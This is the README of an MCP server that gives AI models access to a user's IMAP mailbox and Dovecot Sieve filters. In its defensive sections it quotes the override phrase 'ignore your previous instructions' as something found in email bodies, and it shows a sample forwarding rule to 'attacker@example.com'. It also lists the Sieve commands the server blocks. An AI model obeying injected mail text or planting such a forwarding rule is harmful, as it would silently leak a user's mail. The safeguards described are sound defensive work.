MCP server for a user's mailbox over IMAP: reading, mailbox changes and Dovecot Sieve rules over ManageSieve
  • Go 99.5%
  • Dockerfile 0.5%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
Alexey Shabalin 26d75d951b
All checks were successful
release / binaries (push) Successful in 1m39s
ci / test (push) Successful in 2m31s
release / image (push) Successful in 1m49s
Release 0.2.1
2026-08-06 16:00:58 +03:00
.forgejo/workflows ci: one shared build recipe for images and release artifacts 2026-08-05 19:14:33 +03:00
.github/workflows ci: one shared build recipe for images and release artifacts 2026-08-05 19:14:33 +03:00
internal chore: move to altlinux.space/ai-stack 2026-08-05 19:17:41 +03:00
.gitignore Add mail server profiles and per-session accounts 2026-08-04 16:45:15 +03:00
AGENTS.md Document the Sieve tools and the mailbox changes 2026-08-04 16:45:16 +03:00
Containerfile ci: one shared build recipe for images and release artifacts 2026-08-05 19:14:33 +03:00
go.mod chore: move to altlinux.space/ai-stack 2026-08-05 19:17:41 +03:00
go.sum Add the MCP tools and the server entry point 2026-08-04 16:45:15 +03:00
LICENSE chore: MIT license, copyright ALTLinux Team 2026-08-05 19:17:41 +03:00
mail-mcp.container Document the Sieve tools and the mailbox changes 2026-08-04 16:45:16 +03:00
mail-mcp.network Add README, container image, quadlet units, CI workflows and AGENTS.md 2026-08-04 16:45:15 +03:00
main.go Release 0.2.1 2026-08-06 16:00:58 +03:00
main_test.go chore: move to altlinux.space/ai-stack 2026-08-05 19:17:41 +03:00
README.md Say that refusing redirect is our rule, not the mail server's 2026-08-04 16:45:16 +03:00

mail-mcp

A Go MCP server for a user's mailbox over IMAP, built on go-imap v2 with MIME decoding by enmime. It works with any IMAP server — Dovecot, Gmail, Yandex — and exposes 16 tools over the Model Context Protocol: reading a mailbox, changing it (flags, moving, deleting to the Trash, drafts) and managing the server-side filter rules of Dovecot over ManageSieve (RFC 5804).

Two things make it different from a typical mail MCP server, and both are deliberate:

  • The administrator declares which mail servers exist. A credential can only name a profile from that list. Accepting a host from a client would turn the server into an SSRF proxy and a port scanner for the internal network.
  • The user brings the credential, per session and per mailbox. Over the http transport every client sends its own login and password in an inbound header, and as many extra mailboxes as it likes in one header each. Nothing is stored on disk, so a compromise of this host leaks no mailbox passwords — see Authentication.

Tools

Tool Purpose
list_accounts The mailboxes available in this session: label, login, server, Sieve availability. Call it first — it names the labels the optional account argument of every other tool accepts
list_folders The folders of a mailbox with message and unread counts and their role (входящие / отправленные / черновики / корзина / спам / архив)
list_messages The newest messages of a folder — the main "что мне написали" tool. Envelopes only
search_messages Server-side UID SEARCH by sender, recipient, subject, date range, unread state, presence of attachments, or body text. Envelopes only
get_message One message: headers, the body as plain text (truncated), and an inventory of attachments without their content
get_attachment The text of one attachment by part number. Binary attachments are refused with an explanation
get_thread The whole conversation a message belongs to, oldest first, rebuilt from References/In-Reply-To
mark_message Read/unread, important, answered — only the flags you pass are touched
move_message Move one message to another folder
delete_message Move one message to the Trash. Nothing is ever destroyed: EXPUNGE is never sent
create_draft Write a message into Drafts for the person to send. Answers a message when given its UID
list_sieve_scripts The server-side filter scripts, which one is active, and the Sieve extensions the server supports
get_sieve_script The text of one script
put_sieve_script Create or replace a script: checked for redirect here, compiled by the server, shown next to the version it replaced
set_active_sieve_script Choose the active script, or switch filtering off with an empty name
delete_sieve_script Delete a script (the active one cannot be deleted)

The last nine appear only when the server was started without --read-only, and the five Sieve ones additionally require a profile that declares a ManageSieve endpoint — see Tool gating.

Every tool takes an optional account. With one mailbox connected it is unnecessary; with several, an omitted account means the one labelled default, and an unknown label comes back as text listing the ones that exist.

The folder argument accepts an exact name, a role word (Корзина, trash, черновики, sent) or a unique substring, so a model does not need to know that a server calls its trash INBOX.Trash.

Tool descriptions are bilingual (Russian AND English keywords) so the model can pick the right tool for a query in either language. Tool answers are in Russian. "Not found", a refused credential and a bad argument all come back as friendly text rather than a protocol error — a protocol error stops the model, text lets it correct itself.

Dates: the since / before vocabulary

search_messages accepts three vocabularies for both arguments. IMAP compares dates only, never times, so everything is normalized to midnight in the configured timezone.

  • absolute2026-07-29, 2026-07-29T10:00, 29.07.2026, 20260729
  • namedtoday / сегодня, yesterday / вчера, неделя / this week, месяц, год
  • offsets-7d, -2w, -3m, -1y, +1d

An unparseable value comes back as an error listing the accepted syntax, never as a silently wrong search window.

Searching inside messages, and fts-flatcurve

Searching by sender, subject, date or flags is fast on every IMAP server. Searching INSIDE messages (body_text) is not, and the difference is not visible in CAPABILITY.

Measured on a live Dovecot with a 16 061 message INBOX and no full-text index, using the execution time the server itself reports in its tagged response:

a3 SEARCH HEADER SUBJECT "zzqxwvbnmqq7"   OK ... (0.123 + 0.000 + 0.122 secs)
a4 SEARCH TEXT          "zzqxwvbnmqq7"    OK ... (19.385 + 0.000 + 19.384 secs)

So body_text is:

  • opt-in. Nothing searches message content unless that argument is passed.
  • bounded. A content search is cut off after --body-search-timeout (10 s by default): the connection is closed and the answer explains that the server has no index for this and suggests narrowing the search. A conversation never hangs on it.
  • self-calibrating. The cost of the first real content search — the server's own number when it reports one (Dovecot does), the clock otherwise — becomes the verdict about the index, is remembered per account for the lifetime of the process, and rewrites the description of search_messages: "не проиндексирован, будет медленным" or "ищет и по содержимому". No probe of our own is ever sent, because a probe costs exactly the same seconds as the search.

Note that SEARCH=FUZZY cannot be used to detect any of this. Dovecot announces that capability only when the FTS backend supports fuzzy matching, and fts-flatcurve — the engine to deploy — deliberately does not: it does RFC 3501 substring matching over a Xapian index. An enabled flatcurve is therefore indistinguishable from no index at all in the capability list, and ESEARCH, WITHIN or CONTEXT=SEARCH prove nothing either, since Dovecot offers those with or without an index.

Turning the index on (server side)

# dovecot.conf, Dovecot 2.4 + Xapian 1.4+
mail_plugins {
  fts = yes
  fts_flatcurve = yes
}
fts flatcurve {
}

Checking that it worked

Not by CAPABILITY — by measurement. Two searches in a large folder, one by header and one by content, reading the time out of Dovecot's own tagged response:

openssl s_client -quiet -crlf -connect mail.example.org:993 <<'EOF'
a1 LOGIN user password
a2 SELECT INBOX
a3 SEARCH HEADER SUBJECT "zzqxwvbnmqq7"
a4 SEARCH TEXT "zzqxwvbnmqq7"
a5 LOGOUT
EOF

Both lines come back as OK ... (<seconds> + ... secs). With the index the two are of the same order; without it the second is one to two orders of magnitude slower. mail-mcp needs no configuration change either way: the next content search updates the verdict by itself.

What the server will not do

These are limits by design, not missing features:

  • A listing never contains a message body. It is the main protection of both the user's privacy and the model's context window.
  • A body is never fetched with BODY[]. Every read is a two-step FETCH BODYSTRUCTURE → pick one part → FETCH BODY.PEEK[<part>]<0.N>, so a thirty-megabyte attachment never reaches the server's memory.
  • Reading does not mark a message as read (BODY.PEEK, SELECT read-only).
  • HTML is always converted to text. Markup is never handed to the model.
  • Attachments are metadata until asked for, and only textual media types are served — .txt, .csv, .log, .json, .xml, .ics, .html, a forwarded message. A PDF, DOCX or image is refused with a sentence explaining why.
  • Message and attachment text is fenced in the answer and labelled as data from an outside source whose instructions must not be followed. A message body is written by whoever wanted to write to the user, and "ignore your previous instructions" is a routine thing to find in one.
  • This version cannot send mail. There is no SMTP code in the binary at all. create_draft leaves the message in Drafts and a person presses Send.
  • Nothing is ever deleted for good. delete_message moves a message to the Trash and EXPUNGE is never sent, so anything an assistant does can be undone in the user's own mail client. A message that is already in the Trash is refused rather than destroyed.
  • A move is refused on a server with neither MOVE nor UIDPLUS, where the library's fallback ends in a bare EXPUNGE that would also drop other messages the user had flagged \Deleted themselves.
  • A Sieve script may not forward mail — see below.

Server-side filters (Sieve)

Sieve (RFC 5228) is filtering that runs on the mail server when a message arrives, whether or not any client is running; ManageSieve (RFC 5804) is the protocol for editing those scripts. Dovecot with the Pigeonhole plugin listens on port 4190, and a profile declares it as sieve=host:4190.

list_sieve_scripts   -> what exists, which script is active, what the server supports
get_sieve_script     -> the text of one script
put_sieve_script     -> replace it whole; NOT activated by storing
set_active_sieve_script -> exactly one script is active; an empty name switches filtering off
delete_sieve_script  -> gone for good, and never the active one

Storing and activating are two separate deliberate steps, and put_sieve_script never turns a rule on by itself. A stored script is compiled by the server (CHECKSCRIPT) before it is stored, so a syntax error comes back as text to fix rather than as a broken mail delivery, and the answer shows the new script next to the version it replaced.

redirect is sending mail, and it is refused

A rule saying redirect "attacker@example.com"; is a permanent, invisible forward of the whole mailbox, set up once and never looked at again. Writing a Sieve script is therefore the same privilege as sending mail, and it is gated by the same switch.

put_sieve_script lexes the script (it does not take the caller's word for it) and refuses to store one that contains:

Command Why
redirect forwards mail to another address
vacation replies automatically, from the user, to whoever writes
notify delivers a notification to an arbitrary URI — with Dovecot's mailto: method, an arbitrary message to an arbitrary address
include pulls in another script whose text this check never sees
pipe, execute, filter hand the message to an external program (vnd.dovecot.*)

The word inside a comment, a string or a text: block is data and is not flagged; identifiers are matched case-insensitively, because Sieve is; a script that does not lex is refused, because a check that did not run is not a permission. Sorting (fileinto), flagging (setflag) and dropping (discard) are unaffected — that is what filter rules are normally for.

Starting the server with --allow-send lifts the refusal. The flag is off by default and this version has no SMTP at all; it exists now so that the Sieve gate and the future send_message answer to one switch.

This is our rule, not the server's, and both the tool description and the refusal say so. A live Dovecot Pigeonhole compiles redirect and vacation without a word — checked with CHECKSCRIPT against a server announcing fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate mime foreverypart extracttext vacation-seconds — so a message that sounded like "the server cannot do that" would send the user to fix a mail server that is working perfectly. The vnd.dovecot.* commands are a different case: this server does not offer those extensions at all, and require "vnd.dovecot.pipe" is refused by Pigeonhole itself with unknown Sieve capability.

Two other things worth knowing about the Pigeonhole dialect, both verified against the live server:

  • require may only appear at the very beginning of a script; anything else fails with require commands can only be placed at top level at the beginning of the file, and a command used without its require fails with unknown command 'fileinto'. Both come back as the compiler's own text.
  • fileinto :create "Новая" and fileinto into a folder that does not exist both COMPILE — the folder question is decided at delivery time, not by CHECKSCRIPT. Use :create (with require "mailbox") when the rule is meant to make the folder.

What the check does not catch, stated plainly: an included script's contents (they are refused wholesale instead), a rule that already exists on the server and was not written through this tool, and reject/ereject, which bounce a message with text of the script author's choosing back to whoever wrote — a low-bandwidth channel that needs inbound mail from the attacker to work at all, and that is left allowed because rejecting mail is ordinary filtering.

Changing a mailbox

mark_message, move_message, delete_message and create_draft change one message each — never a batch. A wrong bulk operation on a mailbox is expensive to undo by hand, and a model that has to name every message it touches is a model whose actions a person can follow.

  • Flags are tri-state: marking a message read does not clear its importance flag, because only the flags you pass are touched.
  • Deleting moves to the Trash. The answer says so in as many words, so that a model reports "письмо в Корзине" rather than "удалено".
  • create_draft is the pattern that replaces sending. Given in_reply_to_uid it fills in the recipient, the subject (Re: ...) and the References chain from the original — without marking the original read.
  • All four disappear from a session when the server runs with --read-only.

Build and run

go build -o mail-mcp .

# stdio transport (default) — for a local MCP client, one mailbox
MAIL_USER=alice MAIL_PASSWORD=xxxxx \
  ./mail-mcp --server=corp:imap=mail.example.org:993

# streamable-http — per-user: no shared mailbox, every client sends its own
./mail-mcp --transport=http --addr=:8096 \
  --server=corp:imap=mail.example.org:993,sieve=mail.example.org:4190 \
  --server=gmail \
  --mcp-auth-header=Authorization

The server refuses to start without at least one --server: there would be nothing it is allowed to connect to.

Declaring mail servers

--server is repeatable and accepts three shapes:

corp:imap=mail.example.org:993,smtp=mail.example.org:465,sieve=mail.example.org:4190,tls=starttls
corp:mail.example.org        # one host for IMAP, SMTP and ManageSieve, standard ports
gmail                        # a built-in preset

Keys are imap, smtp, sieve and tls (tls | starttls | none). A service without an explicit port gets the standard one for the profile's TLS mode: IMAP 993/143, submission 465/587, ManageSieve 4190. The SMTP endpoint is still unused — it is recorded so that adding submission later does not change the configuration format under existing deployments.

ManageSieve always goes through STARTTLS unless the profile says tls=none, whatever its tls= mode is: RFC 5804 registers one port and one way to encrypt it, and a tls=tls meant for IMAP on 993 must not turn a Sieve login into a plaintext one. A rules server that does not offer STARTTLS is refused before the password is sent.

Built-in presets: gmail, yandex, mailru, outlook, icloud. None of them offers ManageSieve.

--servers-file reads the same values one per line (# starts a comment), which keeps a long list out of the command line and out of ps. MAIL_SERVERS holds them separated by ;. A --server flag makes the environment variable be ignored entirely rather than merged, so a unit file and a command line cannot silently add up to a longer allow-list.

Flags / environment variables

Flag Env Default Description
--transport stdio stdio or http
--addr :8096 address for the http transport
--server MAIL_SERVERS (none) mail server profile, repeatable; env separates them with ;. Required
--servers-file MAIL_SERVERS_FILE (empty) file with one --server value per line
--default-server MAIL_DEFAULT_SERVER first declared profile a credential without a NAME/ prefix belongs to
--mcp-auth-header MCP_AUTH_HEADER (empty) http only: header clients use to send their own credential. Unset → inbound header auth disabled, client headers ignored
--mcp-account-header-prefix MCP_ACCOUNT_HEADER_PREFIX X-Mail-Account- http only: prefix of the headers carrying additional mailboxes; empty disables them
--mail-user MAIL_USER (empty) static mailbox login (stdio, or a shared fallback over http)
--mail-password MAIL_PASSWORD (empty) static mailbox password
--read-only MAIL_READ_ONLY false register only the reading tools: the four mailbox-changing tools and all five Sieve tools disappear
--allow-send MAIL_ALLOW_SEND false permit what puts mail on the wire. There is no SMTP in this version; the switch currently governs a Sieve script containing redirect/vacation/notify/include
--allow-plaintext MAIL_ALLOW_PLAINTEXT false permit profiles declared with tls=none
--allow-arbitrary-hosts MAIL_ALLOW_ARBITRARY_HOSTS false let a credential name a host:port that is not a declared profile
--max-results 50 default number of messages in a listing (ceiling 200)
--max-body-chars 8000 default characters of a body returned by get_message
--max-attachment-chars 20000 default characters returned by get_attachment
--max-script-chars 20000 default characters of a Sieve script shown by the Sieve tools
--timezone MAIL_TIMEZONE system IANA timezone for dates without an explicit offset
--timeout 30s timeout of one IMAP connection
--body-search-timeout MAIL_BODY_SEARCH_TIMEOUT 10s how long a search INSIDE messages (body_text) may take before it is cut off. See Searching inside messages
--version print the version and exit

A flag takes precedence over its environment variable, and both directions of "fail-safe" are implemented: for a restricting switch (--read-only) any unrecognized non-empty value counts as "on", so a typo cannot enable writes; for a permitting one (--allow-send, --allow-plaintext, --allow-arbitrary-hosts) only an explicit 1/true/yes/on counts, so a typo cannot hand out a permission.

Authentication

Outbound (MCP → mail server)

A mailbox login and password over IMAP, LOGIN on a TLS connection. Google, Yandex and the like require an app password rather than the account password. The password is never put into a URL, a log line or an error message, and is never written to disk.

Inbound (client → MCP), http transport only

When --mcp-auth-header names a header, each client request may carry its own mailbox credential there. When it is unset, inbound header auth is disabled and client headers are ignored entirely — the server does not trust the client by default. For stdio the credential is always the static one.

Four value shapes are accepted, the first three being exactly what the sibling servers accept, so an Open WebUI header template written for them keeps working:

Value Meaning
alice:s3cret a raw login:password pair
Basic <base64(alice:s3cret)> a ready-made Basic header
<base64(alice:s3cret)> a bare base64 blob
gmail/alice@gmail.com:app-password any of the above, with a profile prefix

The password is everything after the first colon, so a password containing colons survives. The profile prefix is separated by /, a character that — unlike @ and : — does not occur in mailbox logins; a prefix containing @ is treated as part of the login, not as a profile name. Without a prefix the default profile is used.

Anything else is refused, and no error message ever echoes the value it rejected. A refused secret creates no account: the session is told so by list_accounts rather than being silently served a shared mailbox.

Several mailboxes for one user

Any header named <prefix><Label> — by default X-Mail-Account-<Label> — adds one more mailbox to the session, labelled <Label> in lower case. The main header is the account default.

Authorization:            alice:corp-password             → account "default" on the default profile
X-Mail-Account-Personal:  gmail/alice@gmail.com:app-pass  → account "personal" on the profile "gmail"

This is what the Open WebUI per-user secrets are for. A connection declares one user_config slot per mailbox; an optional slot the user left blank makes the whole header disappear, and the account simply is not there:

"headers": {
  "Authorization":           "{{USER_SECRET:mail_corp}}",
  "X-Mail-Account-Personal": "{{USER_SECRET:mail_personal}}"
},
"config": { "user_config": {
  "type": "object",
  "properties": {
    "mail_corp":     { "type": "string", "title": "Корпоративная почта: логин и пароль",
                       "description": "Одной строкой `логин:пароль`", "input": {"type": "password"} },
    "mail_personal": { "type": "string", "title": "Личный ящик (необязательно)",
                       "description": "`gmail/адрес:пароль-приложения`", "input": {"type": "password"} }
  },
  "required": ["mail_corp"]
}}

Tool gating

Which tools exist is a property of the session, not of the process. With no credential the only registered tool is list_accounts, which explains that no mailbox is connected and names the profiles the administrator declared. Three tiers follow:

Tier Condition
6 read tools the session has at least one mailbox
4 mailbox-changing tools ...and the server does not run with --read-only
5 Sieve tools ...and at least one account is on a profile with sieve=

In http mode this is evaluated per request, so each client sees the tools for its own mailboxes.

Resolution order (http): inbound headers → static credential → nothing.

In HTTP mode the server also serves GET /healthz (a health-check for quadlet/orchestrator).

Usage with MCP clients

The server runs over stdio as the binary mail-mcp.

Claude (.mcp.json)

{
  "mcpServers": {
    "mail": {
      "command": "mail-mcp",
      "args": ["--transport=stdio", "--server=corp:imap=mail.example.org:993", "--timezone=Europe/Moscow"],
      "env": {
        "MAIL_USER": "alice",
        "MAIL_PASSWORD": "<mailbox password>"
      }
    }
  }
}

Codex (~/.codex/config.toml)

[mcp_servers.mail]
command = "mail-mcp"
args = ["--transport=stdio", "--server=corp:imap=mail.example.org:993", "--timezone=Europe/Moscow"]
env = { MAIL_USER = "alice", MAIL_PASSWORD = "<mailbox password>" }

opencode (opencode.json)

{
  "mcp": {
    "mail": {
      "type": "local",
      "command": ["mail-mcp", "--transport=stdio", "--server=corp:imap=mail.example.org:993"],
      "environment": { "MAIL_USER": "alice", "MAIL_PASSWORD": "<mailbox password>" },
      "enabled": true
    }
  }
}

Behaviour notes

  • UIDs, never sequence numbers. A message is addressed by folder + UID, and the answer carries the folder's UIDVALIDITY. Sequence numbers shift whenever another client deletes a message.
  • Special-use folders are matched by role first, by name second. The RFC 6154 attribute (\Trash, \Drafts, \Sent, \Junk, \Archive) is the right way to find them — a Russian Dovecot calls its trash Корзина and a German one Papierkorb. But those attributes are set by whatever created the folder, and a mailbox filled by an old client or by a migration may carry none at all, so a folder named Trash, Deleted Items, Корзина, Drafts, Sent Items, Junk, Spam, Archive (and their friends, case-insensitively, whole or as the last component of INBOX.Trash) is accepted as the fallback. When neither works, the answer says so and names both things that were tried; nothing is ever created. Folder names arrive decoded from modified UTF-7.
  • Search runs on the server — see Searching inside messages for the one part of it that has a price.
  • has_attachment has no IMAP search key. It is applied to the envelopes after the server has narrowed the set down, over at most the 400 newest matches; the answer then says the count is a lower bound.
  • Headers in KOI8-R and CP1251 are decoded — the RFC 2047 word decoder is given go-message/charset, which resolves those labels through ianaindex and htmlindex. Bodies go through enmime, which also detects a mislabelled charset.
  • A conversation is rebuilt from References/In-Reply-To within one folder, not with the THREAD extension, even where the server offers it. Checked against a live Dovecot announcing THREAD=REFERENCES and THREAD=REFS: on 14 sampled conversations of 2 to 20 messages both produced exactly the same set, and THREAD is the slower way to get it — it threads the whole folder (6.5 s and 104 KB of response on a 16 000 message INBOX) and the group holding the UID then has to be picked out of the result, while the header chain asks about one conversation and answers in 0.4 s. It also works on servers with no THREAD at all. A reply that was moved to another folder will not appear.
  • One connection per tool call. An IMAP login is not free, but a long-lived connection is worse against a Dovecot with mail_max_userip_connections (10 by default), especially with several mailboxes in one session.

Tests

go test ./... -race

The IMAP tests run against the in-memory IMAP server that ships with go-imap (imapserver + imapmemserver) over a loopback socket, so the whole stack down to the wire is exercised — command encoding, literals, modified UTF-7 mailbox names, server-generated BODYSTRUCTURE, SEARCH semantics — without a live Dovecot. The message fixtures in internal/mail/testdata/ are real-shaped: a KOI8-R body with an RFC 2047 subject, a CP1251 multipart/alternative, a multipart/mixed with two attachments and an inline image, an HTML-only newsletter, a message/rfc822 forward, a three-message thread, and a message with a broken charset label.

The ManageSieve tests run against a fake server written in the test files — there is no in-memory ManageSieve implementation to borrow — over a real socket, with its own independent command parser, so a bug in our literal encoding cannot cancel out against the same bug in a mock. It covers STARTTLS with a generated certificate, literals in the middle of a line, response codes, and the refusals (NONEXISTENT, ACTIVE, QUOTA/MAXSIZE, a multi-line syntax error).

internal/tools/tools_test.go drives a real MCP client against a real MCP server over an in-memory transport, so what the tests assert on is exactly what a model receives: the tool list of a session, the JSON-Schema types of every non-string argument, the bilingual descriptions, and the text of the answers. main_test.go covers per-session credential resolution and the flag/environment precedence.

The tests make no call to a real mail server; verification against a live Dovecot happens at deploy time.

Container (podman/docker)

podman build -t mail-mcp -f Containerfile .
podman run --rm -p 127.0.0.1:8096:8096 \
  -e MAIL_SERVERS='corp:imap=mail.example.org:993' \
  -e MCP_AUTH_HEADER=Authorization \
  mail-mcp

The image is multi-stage: build on the Sisyphus golang image (CGO_ENABLED=0, static binary), the final stage is distroless-static with a CA bundle for TLS to the mail servers, USER 65534. The IANA timezone database is compiled into the binary (time/tzdata), so --timezone resolves even though the image has no /usr/share/zoneinfo.

Quadlet (rootless systemd)

mail-mcp.network and mail-mcp.container deploy it as a rootless service. Copy them into ~/.config/containers/systemd/, set MAIL_SERVERS (and either MCP_AUTH_HEADER for per-user mode or MAIL_USER/MAIL_PASSWORD for a shared mailbox) in .container, then:

systemctl --user daemon-reload
systemctl --user start mail-mcp

mail-mcp.network sets Options=mtu=1500 — required, otherwise outgoing TCP connections from the container break. The port is published on 127.0.0.1:8096.

Layout

main.go                  # CLI, profile registry, transports (stdio/http), /healthz
internal/accounts/       # who connects where
  profile.go             #   --server grammar, presets, Registry (the allow-list)
  credential.go          #   inbound header shapes, Account, Set, session resolution
internal/mail/           # IMAP client, no MCP dependency
  client.go              #   dial (TLS/STARTTLS/plaintext), login, SELECT
  folders.go             #   LIST + SPECIAL-USE roles, folder name resolution
  messages.go            #   envelopes, SEARCH, message/attachment/thread
  mutate.go              #   flags, move, delete-to-Trash, draft via APPEND
  mime.go                #   BODYSTRUCTURE -> parts, part selection, decoding
  dates.go               #   the since/before vocabulary
  format.go              #   human-readable rendering, untrusted-content fence
  errors.go              #   domain errors
  testdata/              #   real-shaped message fixtures
internal/sieve/          # ManageSieve client (RFC 5804), no MCP dependency
  proto.go               #   the wire format: literals, quoted strings, responses
  client.go              #   dial + STARTTLS + AUTHENTICATE PLAIN, the commands
  guard.go               #   the Sieve lexer and the outgoing-mail gate
  format.go              #   human-readable rendering
  errors.go              #   response codes -> the domain errors of internal/mail
internal/tools/          # 16 MCP tools (Input structs + handlers + session gating)
Containerfile
mail-mcp.network mail-mcp.container

License

MIT — see LICENSE.